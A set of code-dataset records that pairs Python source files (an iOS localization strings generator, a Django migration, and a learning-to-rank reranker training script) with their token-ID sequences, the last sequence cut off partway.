29897, 13, 1678, 8736, 29889, 3539, 580, 13, 13, 13, 1753, 1667, 7295, 13, 1678, 302, 29883, 3752, 1600, 29918, 5675, 580, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1667, 580, 13, 2 ]
format_output_ios.py
eslimaf/poormans_localization
0
1600149
<filename>format_output_ios.py #!/usr/bin/python3 import os import errno import plistlib from utils import resource_path , Logger, LogLevel OUTPUT_DIR = 'ios' DIR_LPROJ = '.lproj' EN_LANG = 'en' FR_LANG = 'fr' STRINGS_FILENAME = 'Localizable.strings' TRANSLATABLE_FALSE = 'translatable_false' EXCLUSION_ID = '' class IosFormatter: def __init__(self, reader, add_comment=True): self.reader = reader self.logger = Logger(tag = self.__class__.__name__) self.add_comment = add_comment def generate(self): en_strings = '' fr_strings = '' if(self.add_comment): en_strings += '/* Auto-generated by Poor Man\'s Localization */\n' fr_strings += '/* Auto-generated by Poor Man\'s Localization */\n' self.logger.info("Parsing iOS strings") next(self.reader) # skip the first line for line in self.reader: if(line[1] == EXCLUSION_ID): continue en_strings += '"{}" = "{}"\n'.format(line[1], line[2]) # Use same strings if translatable false is applied translated_string = (line[3], line[2])[line[3] == TRANSLATABLE_FALSE] fr_strings += '"{}" = "{}"\n'.format(line[1], translated_string) en_filename = self.__get_en_strings_file() fr_filename = self.__get_fr_strings_file() if not os.path.exists(os.path.dirname(en_filename)): try: os.makedirs(os.path.dirname(en_filename)) except OSError as exc: # Guard against race condition if exc.errno != errno.EEXIST: raise if not os.path.exists(os.path.dirname(fr_filename)): try: os.makedirs(os.path.dirname(fr_filename)) except OSError as exc: # Guard against race condition if exc.errno != errno.EEXIST: raise en_file = open(en_filename, 'w') en_file.write(en_strings) en_file.close() self.logger.info("Created: %s" % en_filename) fr_file = open(fr_filename, 'w') fr_file.write(fr_strings) fr_file.close() self.logger.info("Created: %s" % fr_filename) @staticmethod def __get_en_strings_file(): return resource_path(os.path.join(OUTPUT_DIR, EN_LANG + DIR_LPROJ, STRINGS_FILENAME)) @staticmethod def __get_fr_strings_file(): return resource_path(os.path.join(OUTPUT_DIR, FR_LANG + DIR_LPROJ, STRINGS_FILENAME))
[ 1, 529, 9507, 29958, 4830, 29918, 4905, 29918, 2363, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 29941, 13, 5215, 2897, 13, 5215, 4589, 1217, 13, 5215, 715, 391, 1982, 13, 3166, 3667, 29879, 1053, 6503, 29918, 2084, 1919, 28468, 29892, 4522, 10108, 13, 13, 12015, 12336, 29918, 9464, 353, 525, 2363, 29915, 13, 9464, 29918, 29931, 8618, 29967, 353, 15300, 29880, 20865, 29915, 13, 1430, 29918, 29931, 19453, 353, 525, 264, 29915, 13, 15860, 29918, 29931, 19453, 353, 525, 1341, 29915, 13, 20785, 29903, 29918, 7724, 5813, 353, 525, 7717, 13902, 29889, 19651, 29915, 13, 26813, 12750, 1299, 6181, 29918, 25717, 353, 525, 3286, 5066, 519, 29918, 4541, 29915, 13, 5746, 6154, 3308, 2725, 29918, 1367, 353, 6629, 13, 13, 13, 1990, 306, 359, 18522, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 9591, 29892, 788, 29918, 9342, 29922, 5574, 1125, 13, 4706, 1583, 29889, 16950, 353, 9591, 13, 4706, 1583, 29889, 21707, 353, 28468, 29898, 4039, 353, 1583, 17255, 1990, 1649, 17255, 978, 1649, 29897, 13, 4706, 1583, 29889, 1202, 29918, 9342, 353, 788, 29918, 9342, 13, 13, 1678, 822, 5706, 29898, 1311, 1125, 13, 4706, 427, 29918, 19651, 353, 6629, 13, 4706, 1424, 29918, 19651, 353, 6629, 13, 4706, 565, 29898, 1311, 29889, 1202, 29918, 9342, 1125, 13, 9651, 427, 29918, 19651, 4619, 525, 5515, 11133, 29899, 13525, 491, 3929, 272, 2315, 20333, 29879, 9959, 2133, 3776, 29905, 29876, 29915, 13, 9651, 1424, 29918, 19651, 4619, 525, 5515, 11133, 29899, 13525, 491, 3929, 272, 2315, 20333, 29879, 9959, 2133, 3776, 29905, 29876, 29915, 13, 308, 13, 4706, 1583, 29889, 21707, 29889, 3888, 703, 29925, 1503, 292, 10012, 6031, 1159, 13, 13, 4706, 2446, 29898, 1311, 29889, 16950, 29897, 29871, 396, 14383, 278, 937, 1196, 13, 13, 4706, 363, 1196, 297, 1583, 29889, 16950, 29901, 13, 9651, 565, 29898, 1220, 29961, 29896, 29962, 1275, 8528, 6154, 3308, 2725, 29918, 1367, 1125, 13, 18884, 6773, 13, 632, 13, 9651, 427, 29918, 19651, 4619, 18793, 29912, 5038, 353, 29850, 5038, 29905, 29876, 4286, 4830, 29898, 1220, 29961, 29896, 1402, 1196, 29961, 29906, 2314, 13, 9651, 396, 4803, 1021, 6031, 565, 1301, 5066, 519, 2089, 338, 7436, 13, 9651, 20512, 29918, 1807, 353, 313, 1220, 29961, 29941, 1402, 1196, 29961, 29906, 2314, 29961, 1220, 29961, 29941, 29962, 1275, 10014, 2190, 12750, 1299, 6181, 29918, 25717, 29962, 13, 9651, 1424, 29918, 19651, 4619, 18793, 29912, 5038, 353, 29850, 5038, 29905, 29876, 4286, 4830, 29898, 1220, 29961, 29896, 1402, 20512, 29918, 1807, 29897, 13, 13, 4706, 427, 29918, 9507, 353, 1583, 17255, 657, 29918, 264, 29918, 19651, 29918, 1445, 580, 13, 4706, 1424, 29918, 9507, 353, 1583, 17255, 657, 29918, 1341, 29918, 19651, 29918, 1445, 580, 13, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 359, 29889, 2084, 29889, 25721, 29898, 264, 29918, 9507, 22164, 13, 9651, 1018, 29901, 13, 18884, 2897, 29889, 29885, 12535, 12935, 29898, 359, 29889, 2084, 29889, 25721, 29898, 264, 29918, 9507, 876, 13, 9651, 5174, 438, 29173, 408, 5566, 29901, 29871, 396, 13211, 2750, 8175, 4195, 13, 18884, 565, 5566, 29889, 3127, 1217, 2804, 4589, 1217, 29889, 29923, 5746, 9047, 29901, 13, 462, 1678, 12020, 13, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 359, 29889, 2084, 29889, 25721, 29898, 1341, 29918, 9507, 22164, 13, 9651, 1018, 29901, 13, 18884, 2897, 29889, 29885, 12535, 12935, 29898, 359, 29889, 2084, 29889, 25721, 29898, 1341, 29918, 9507, 876, 13, 9651, 5174, 438, 29173, 408, 5566, 29901, 29871, 396, 13211, 2750, 8175, 4195, 13, 18884, 565, 5566, 29889, 3127, 1217, 2804, 4589, 1217, 29889, 29923, 5746, 9047, 29901, 13, 462, 1678, 12020, 13, 13, 4706, 427, 29918, 1445, 353, 1722, 29898, 264, 29918, 9507, 29892, 525, 29893, 1495, 13, 4706, 427, 29918, 1445, 29889, 3539, 29898, 264, 29918, 19651, 29897, 13, 4706, 427, 29918, 1445, 29889, 5358, 580, 13, 4706, 1583, 29889, 21707, 29889, 3888, 703, 20399, 29901, 1273, 29879, 29908, 1273, 427, 29918, 9507, 29897, 13, 13, 4706, 1424, 29918, 1445, 353, 1722, 29898, 1341, 29918, 9507, 29892, 525, 29893, 1495, 13, 4706, 1424, 29918, 1445, 29889, 3539, 29898, 1341, 29918, 19651, 29897, 13, 4706, 1424, 29918, 1445, 29889, 5358, 580, 13, 4706, 1583, 29889, 21707, 29889, 3888, 703, 20399, 29901, 1273, 29879, 29908, 1273, 1424, 29918, 9507, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 4770, 657, 29918, 264, 29918, 19651, 29918, 1445, 7295, 13, 4706, 736, 6503, 29918, 2084, 29898, 359, 29889, 2084, 29889, 7122, 29898, 12015, 12336, 29918, 9464, 29892, 12524, 29918, 29931, 19453, 718, 360, 8193, 29918, 29931, 8618, 29967, 29892, 29486, 4214, 29903, 29918, 7724, 5813, 876, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 4770, 657, 29918, 1341, 29918, 19651, 29918, 1445, 7295, 13, 4706, 736, 6503, 29918, 2084, 29898, 359, 29889, 2084, 29889, 7122, 29898, 12015, 12336, 29918, 9464, 29892, 23788, 29918, 29931, 19453, 718, 360, 8193, 29918, 29931, 8618, 29967, 29892, 29486, 4214, 29903, 29918, 7724, 5813, 876, 13, 2 ]
tool/migrations/0014_alter_recruiter_level.py
borislavstoychev/RecrutmentTool
0
194172
# Generated by Django 3.2.6 on 2021-10-28 11:50 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tool', '0013_auto_20210917_1621'), ] operations = [ migrations.AlterField( model_name='recruiter', name='level', field=models.PositiveIntegerField(default=1), ), ]
[ 1, 396, 3251, 630, 491, 15337, 29871, 29941, 29889, 29906, 29889, 29953, 373, 29871, 29906, 29900, 29906, 29896, 29899, 29896, 29900, 29899, 29906, 29947, 29871, 29896, 29896, 29901, 29945, 29900, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 29892, 4733, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 10154, 742, 525, 29900, 29900, 29896, 29941, 29918, 6921, 29918, 29906, 29900, 29906, 29896, 29900, 29929, 29896, 29955, 29918, 29896, 29953, 29906, 29896, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 2499, 357, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 3757, 582, 1524, 742, 13, 9651, 1024, 2433, 5563, 742, 13, 9651, 1746, 29922, 9794, 29889, 9135, 3321, 7798, 3073, 29898, 4381, 29922, 29896, 511, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
run_reranker.py
LibRerank-Community/Lierank
46
122410
import os # from sklearn.metrics import log_loss, roc_auc_score import time from librerank.utils import * from librerank.reranker import * from librerank.rl_reranker import * def eval(model, data, l2_reg, batch_size, isrank, metric_scope, _print=False): preds = [] # labels = [] losses = [] data_size = len(data[0]) batch_num = data_size // batch_size print('eval', batch_size, batch_num) t = time.time() for batch_no in range(batch_num): data_batch = get_aggregated_batch(data, batch_size=batch_size, batch_no=batch_no) pred, loss = model.eval(data_batch, l2_reg) preds.extend(pred) # labels.extend(label) losses.append(loss) loss = sum(losses) / len(losses) # cates = np.reshape(np.array(data[1])[:, :, 1], [-1, max_time_len]).tolist() labels = data[4] # print(preds[0], labels[0]) # poss = data[-2] res = evaluate_multi(labels, preds, metric_scope, isrank, _print) print("EVAL TIME: %.4fs" % (time.time() - t)) # return loss, res_low, res_high return loss, res def train(train_file, test_file, feature_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, params): tf.reset_default_graph() # gpu settings gpu_options = tf.GPUOptions(allow_growth=True) perlist = False if params.model_type == 'PRM': model = PRM(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'SetRank': model = SetRank(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'DLCM': model = DLCM(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'GSF': model = GSF(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm, group_size=params.group_size) elif params.model_type == 'miDNN': model = miDNN(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'EGR_evaluator': model = EGR_evaluator(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'EGR_generator': model = PPOModel(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm, rep_num=params.rep_num) # discriminator = EGR_discriminator(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, # profile_num, max_norm=params.max_norm) evaluator = EGR_evaluator(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) with evaluator.graph.as_default() as g: sess = tf.Session(graph=g, config=tf.ConfigProto(gpu_options=gpu_options)) evaluator.set_sess(sess) sess.run(tf.global_variables_initializer()) evaluator.load(params.evaluator_path) # with discriminator.graph.as_default() as g: # sess = tf.Session(graph=g, config=tf.ConfigProto(gpu_options=gpu_options)) # discriminator.set_sess(sess) # sess.run(tf.global_variables_initializer()) elif params.model_type == 'Seq2Slate': # model = Seq2Slate(feature_size, eb_dim, hidden_size, max_time_len, max_seq_len, item_fnum, num_cat, mu) model = SLModel(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) else: print('No Such Model', params.model_type) exit(0) with model.graph.as_default() as g: sess = tf.Session(graph=g, config=tf.ConfigProto(gpu_options=gpu_options)) sess.run(tf.global_variables_initializer()) sess.run(tf.local_variables_initializer()) model.set_sess(sess) # training_monitor = { # 'train_loss': [], # 'vali_loss': [], # 'map_l': [], # 'ndcg_l': [], # 'clicks_l': [], # 'utility_l': [], # 'map_h':[], # 'ndcg_h': [], # 'clicks_h': [], # 'utility_h': [], # } training_monitor = { 'train_loss': [], 'vali_loss': [], 'map_l': [], 'ndcg_l': [], 'clicks_l': [], # 'utility_l': [], # 'de_ndcg_l': [], } model_name = '{}_{}_{}_{}_{}_{}_{}_{}_{}'.format(params.timestamp, initial_ranker, params.model_type, params.batch_size, params.lr, params.l2_reg, params.hidden_size, params.eb_dim, params.keep_prob) if not os.path.exists('{}/logs_{}/{}'.format(parse.save_dir, data_set_name, max_time_len)): os.makedirs('{}/logs_{}/{}'.format(parse.save_dir, data_set_name, max_time_len)) if not os.path.exists('{}/save_model_{}/{}/{}/'.format(parse.save_dir, data_set_name, max_time_len, model_name)): os.makedirs('{}/save_model_{}/{}/{}/'.format(parse.save_dir, data_set_name, max_time_len, model_name)) save_path = '{}/save_model_{}/{}/{}/ckpt'.format(parse.save_dir, data_set_name, max_time_len, model_name) log_save_path = '{}/logs_{}/{}/{}.metrics'.format(parse.save_dir, data_set_name, max_time_len, model_name) # training process # with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess: # sess.run(tf.global_variables_initializer()) # sess.run(tf.local_variables_initializer()) train_losses_step = [] # before training process step = 0 vali_loss, res = eval(model, test_file, params.l2_reg, params.batch_size, False, params.metric_scope) training_monitor['train_loss'].append(None) training_monitor['vali_loss'].append(None) training_monitor['map_l'].append(res[0][0]) training_monitor['ndcg_l'].append(res[1][0]) # training_monitor['de_ndcg_l'].append(res[2][0]) training_monitor['clicks_l'].append(res[2][0]) # training_monitor['utility_l'].append(res[4][0]) print("STEP %d INTIAL RANKER | LOSS VALI: NULL" % step) for i, s in enumerate(params.metric_scope): print("@%d MAP: %.4f NDCG: %.4f CLICKS: %.4f " % (s, res[0][i], res[1][i], res[2][i])) early_stop = False data = train_file data_size = len(data[0]) batch_num = data_size // params.batch_size eval_iter_num = (data_size // 5) // params.batch_size print('train', data_size, batch_num) # begin training process for epoch in range(params.epoch_num): # if early_stop: # break for batch_no in range(batch_num): data_batch = get_aggregated_batch(data, batch_size=params.batch_size, batch_no=batch_no) # if early_stop: # break if params.model_type == 'EGR_generator': data_batch = repeat_data(data_batch, params.rep_num) act_idx_out, act_probs_one, rl_sp_outputs, rl_de_outputs, mask_arr, lp_sp_data, lp_de_data, _\ = model.predict(data_batch, params.l2_reg) pred = evaluator.predict(rl_sp_outputs, rl_de_outputs, data_batch[6]) # d_preds, d_rewards = discriminator.predict(rl_sp_outputs, rl_de_outputs, data_batch[6]) # rewards = pred + d_rewards.reshape((-1, max_time_len)) * c_rewards_d rewards = pred # rewards = pred # train rl-rerank # for _ in range(update_steps): loss, mean_return = model.train(data_batch, rl_sp_outputs, rl_de_outputs, act_probs_one, act_idx_out, rewards, mask_arr, params.c_entropy, params.lr, params.l2_reg, params.keep_prob) # train discriminator # if step % (update_rate_d * int(update_steps)) == 0: # d_label = np.array([1] * lp_sp_data.shape[0] + [0] * rl_sp_outputs.shape[0]) # spar_data = np.concatenate([lp_sp_data, rl_sp_outputs], axis=0) # dens_data = np.concatenate([lp_de_data, rl_de_outputs], axis=0) # seq_len = np.array(data_batch[6] + data_batch[6]) # d_total_loss = discriminator.train([spar_data, dens_data, d_label, seq_len], lr, l2_reg) # print('dis, step: %d' % (step), 'loss', d_total_loss) elif params.model_type == 'Seq2Slate': act_idx_out, act_probs_one, rl_sp_outputs, rl_de_outputs, mask_arr, lp_sp_data, lp_de_data, _ \ = model.predict(data_batch, params.l2_reg) loss = model.train(data_batch, rl_sp_outputs, rl_de_outputs, mask_arr, params.lr, params.l2_reg, params.keep_prob) else: loss = model.train(data_batch, params.lr, params.l2_reg, params.keep_prob) step += 1 train_losses_step.append(loss) if step % eval_iter_num == 0: train_loss = sum(train_losses_step) / len(train_losses_step) training_monitor['train_loss'].append(train_loss) train_losses_step = [] vali_loss, res = eval(model, test_file, params.l2_reg, params.batch_size, True, params.metric_scope, False) training_monitor['train_loss'].append(train_loss) training_monitor['vali_loss'].append(vali_loss) training_monitor['map_l'].append(res[0][0]) training_monitor['ndcg_l'].append(res[1][0]) # training_monitor['de_ndcg_l'].append(res[2][0]) training_monitor['clicks_l'].append(res[2][0]) # training_monitor['utility_l'].append(res[4][0]) print("EPOCH %d STEP %d LOSS TRAIN: %.4f | LOSS VALI: %.4f" % (epoch, step, train_loss, vali_loss)) for i, s in enumerate(params.metric_scope): print("@%d MAP: %.4f NDCG: %.4f CLICKS: %.4f " % (s, res[0][i], res[1][i], res[2][i])) if training_monitor['map_l'][-1] > max(training_monitor['map_l'][:-1]): # save model model.save(save_path) pkl.dump(res[-1], open(log_save_path, 'wb')) print('model saved') if len(training_monitor['map_l']) > 2 and epoch > 0: # if (training_monitor['vali_loss'][-1] > training_monitor['vali_loss'][-2] and # training_monitor['vali_loss'][-2] > training_monitor['vali_loss'][-3]): # early_stop = True if (training_monitor['map_l'][-2] - training_monitor['map_l'][-1]) <= 0.01 and ( training_monitor['map_l'][-3] - training_monitor['map_l'][-2]) <= 0.01: early_stop = True # generate log if not os.path.exists('{}/logs_{}/{}/'.format(parse.save_dir, data_set_name, max_time_len)): os.makedirs('{}/logs_{}/{}/'.format(parse.save_dir, data_set_name, max_time_len)) with open('{}/logs_{}/{}/{}.monitor.pkl'.format(parse.save_dir, data_set_name, max_time_len, model_name), 'wb') as f: pkl.dump(training_monitor, f) def reranker_parse_args(): parser = argparse.ArgumentParser() parser.add_argument('--max_time_len', default=10, type=int, help='max time length') parser.add_argument('--save_dir', type=str, default='./', help='dir that saves logs and model') parser.add_argument('--data_dir', type=str, default='./data/toy/', help='data dir') parser.add_argument('--model_type', default='PRM', choices=['PRM', 'DLCM', 'SetRank', 'GSF', 'miDNN', 'Seq2Slate', 'EGR_evaluator', 'EGR_generator'], type=str, help='algorithm name, including PRM, DLCM, SetRank, GSF, miDNN, Seq2Slate, EGR_evaluator, EGR_generator') parser.add_argument('--data_set_name', default='ad', type=str, help='name of dataset, including ad and prm') parser.add_argument('--initial_ranker', default='lambdaMART', choices=['DNN', 'lambdaMART'], type=str, help='name of dataset, including DNN, lambdaMART') parser.add_argument('--epoch_num', default=30, type=int, help='epochs of each iteration.') parser.add_argument('--batch_size', default=16, type=int, help='batch size') parser.add_argument('--rep_num', default=5, type=int, help='samples repeat number') parser.add_argument('--lr', default=1e-4, type=float, help='learning rate') parser.add_argument('--l2_reg', default=1e-4, type=float, help='l2 loss scale') parser.add_argument('--keep_prob', default=0.8, type=float, help='keep probability') parser.add_argument('--eb_dim', default=16, type=int, help='size of embedding') parser.add_argument('--hidden_size', default=64, type=int, help='hidden size') parser.add_argument('--group_size', default=1, type=int, help='group size for GSF') parser.add_argument('--metric_scope', default=[1, 3, 5, 10], type=list, help='the scope of metrics') parser.add_argument('--max_norm', default=0, type=float, help='max norm of gradient') parser.add_argument('--c_entropy', default=0.001, type=float, help='entropy coefficient in loss') # parser.add_argument('--decay_steps', default=3000, type=int, help='learning rate decay steps') # parser.add_argument('--decay_rate', default=1.0, type=float, help='learning rate decay rate') parser.add_argument('--timestamp', type=str, default=datetime.datetime.now().strftime("%Y%m%d%H%M")) parser.add_argument('--evaluator_path', type=str, default='', help='evaluator ckpt dir') parser.add_argument('--reload_path', type=str, default='', help='model ckpt dir') parser.add_argument('--setting_path', type=str, default='./config/prm_setting.json', help='setting dir') FLAGS, _ = parser.parse_known_args() return FLAGS if __name__ == '__main__': # parameters random.seed(1234) parse = reranker_parse_args() if parse.setting_path: parse = load_parse_from_json(parse, parse.setting_path) data_set_name = parse.data_set_name processed_dir = parse.data_dir stat_dir = os.path.join(processed_dir, 'data.stat') max_time_len = parse.max_time_len initial_ranker = parse.initial_ranker if data_set_name == 'prm' and parse.max_time_len > 30: max_time_len = 30 print(parse) with open(stat_dir, 'r') as f: stat = json.load(f) num_item, num_cate, num_ft, profile_fnum, itm_spar_fnum, itm_dens_fnum, = stat['item_num'], stat['cate_num'], \ stat['ft_num'], stat['profile_fnum'], stat['itm_spar_fnum'], stat['itm_dens_fnum'] print('num of item', num_item, 'num of list', stat['train_num'] + stat['val_num'] + stat['test_num'], 'profile num', profile_fnum, 'spar num', itm_spar_fnum, 'dens num', itm_dens_fnum) # train_file, val_file, test_file = pkl.load(open(os.path.join(processed_dir, 'data.data'), 'rb')) # props = pkl.load(open(os.path.join(processed_dir, 'prop'), 'rb')) # props[0] = [1e-6 for i in range(max_time_len)] # profile = pkl.load(open(os.path.join(processed_dir, 'user.profile'), 'rb')) # construct training files train_dir = os.path.join(processed_dir, initial_ranker + '.data.train') if os.path.isfile(train_dir): train_lists = pkl.load(open(train_dir, 'rb')) else: train_lists = construct_list(os.path.join(processed_dir, initial_ranker + '.rankings.train'), max_time_len) pkl.dump(train_lists, open(train_dir, 'wb')) # construct test files test_dir = os.path.join(processed_dir, initial_ranker + '.data.test') if os.path.isfile(test_dir): test_lists = pkl.load(open(test_dir, 'rb')) else: test_lists = construct_list(os.path.join(processed_dir, initial_ranker + '.rankings.test'), max_time_len) pkl.dump(test_lists, open(test_dir, 'wb')) train(train_lists, test_lists, num_ft, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_fnum, parse)
[ 1, 1053, 2897, 13, 29937, 515, 2071, 19668, 29889, 2527, 10817, 1053, 1480, 29918, 6758, 29892, 696, 29883, 29918, 14766, 29918, 13628, 13, 5215, 931, 13, 13, 3166, 619, 1182, 261, 804, 29889, 13239, 1053, 334, 13, 3166, 619, 1182, 261, 804, 29889, 2872, 804, 261, 1053, 334, 13, 3166, 619, 1182, 261, 804, 29889, 2096, 29918, 2872, 804, 261, 1053, 334, 13, 13, 13, 1753, 19745, 29898, 4299, 29892, 848, 29892, 301, 29906, 29918, 1727, 29892, 9853, 29918, 2311, 29892, 338, 10003, 29892, 12714, 29918, 6078, 29892, 903, 2158, 29922, 8824, 1125, 13, 1678, 4450, 29879, 353, 5159, 13, 1678, 396, 11073, 353, 5159, 13, 1678, 28495, 353, 5159, 13, 13, 1678, 848, 29918, 2311, 353, 7431, 29898, 1272, 29961, 29900, 2314, 13, 1678, 9853, 29918, 1949, 353, 848, 29918, 2311, 849, 9853, 29918, 2311, 13, 1678, 1596, 877, 14513, 742, 9853, 29918, 2311, 29892, 9853, 29918, 1949, 29897, 13, 13, 1678, 260, 353, 931, 29889, 2230, 580, 13, 1678, 363, 9853, 29918, 1217, 297, 3464, 29898, 16175, 29918, 1949, 1125, 13, 4706, 848, 29918, 16175, 353, 679, 29918, 26193, 630, 29918, 16175, 29898, 1272, 29892, 9853, 29918, 2311, 29922, 16175, 29918, 2311, 29892, 9853, 29918, 1217, 29922, 16175, 29918, 1217, 29897, 13, 4706, 4450, 29892, 6410, 353, 1904, 29889, 14513, 29898, 1272, 29918, 16175, 29892, 301, 29906, 29918, 1727, 29897, 13, 4706, 4450, 29879, 29889, 21843, 29898, 11965, 29897, 13, 4706, 396, 11073, 29889, 21843, 29898, 1643, 29897, 13, 4706, 28495, 29889, 4397, 29898, 6758, 29897, 13, 13, 1678, 6410, 353, 2533, 29898, 6758, 267, 29897, 847, 7431, 29898, 6758, 267, 29897, 13, 1678, 396, 274, 1078, 353, 7442, 29889, 690, 14443, 29898, 9302, 29889, 2378, 29898, 1272, 29961, 29896, 2314, 7503, 29892, 584, 29892, 29871, 29896, 1402, 21069, 29896, 29892, 4236, 29918, 2230, 29918, 2435, 14664, 25027, 391, 580, 13, 1678, 11073, 353, 848, 29961, 29946, 29962, 13, 1678, 396, 1596, 29898, 11965, 29879, 29961, 29900, 1402, 11073, 29961, 29900, 2314, 13, 1678, 396, 3119, 353, 848, 14352, 29906, 29962, 13, 13, 1678, 620, 353, 14707, 29918, 9910, 29898, 21134, 29892, 4450, 29879, 29892, 12714, 29918, 6078, 29892, 338, 10003, 29892, 903, 2158, 29897, 13, 13, 1678, 1596, 703, 29923, 8932, 323, 8890, 29901, 18695, 29946, 5847, 29908, 1273, 313, 2230, 29889, 2230, 580, 448, 260, 876, 13, 1678, 396, 736, 6410, 29892, 620, 29918, 677, 29892, 620, 29918, 9812, 13, 1678, 736, 6410, 29892, 620, 13, 13, 13, 1753, 7945, 29898, 14968, 29918, 1445, 29892, 1243, 29918, 1445, 29892, 4682, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 8722, 29918, 1949, 29892, 8636, 1125, 13, 1678, 15886, 29889, 12071, 29918, 4381, 29918, 4262, 580, 13, 13, 1678, 396, 330, 3746, 6055, 13, 1678, 330, 3746, 29918, 6768, 353, 15886, 29889, 29954, 7056, 5856, 29898, 9536, 29918, 29887, 798, 386, 29922, 5574, 29897, 13, 13, 1678, 639, 1761, 353, 7700, 13, 1678, 565, 8636, 29889, 4299, 29918, 1853, 1275, 525, 10593, 29924, 2396, 13, 4706, 1904, 353, 12089, 29924, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 1678, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 1678, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 2697, 29934, 804, 2396, 13, 4706, 1904, 353, 3789, 29934, 804, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 1678, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 1678, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 29928, 12182, 29924, 2396, 13, 4706, 1904, 353, 360, 12182, 29924, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 1678, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 1678, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 10749, 29943, 2396, 13, 4706, 1904, 353, 402, 20322, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 268, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29892, 2318, 29918, 2311, 29922, 7529, 29889, 2972, 29918, 2311, 29897, 13, 1678, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 2460, 29928, 10262, 2396, 13, 4706, 1904, 353, 3737, 29928, 10262, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 268, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 1678, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 11787, 29934, 29918, 24219, 1061, 2396, 13, 4706, 1904, 353, 382, 14345, 29918, 24219, 1061, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 268, 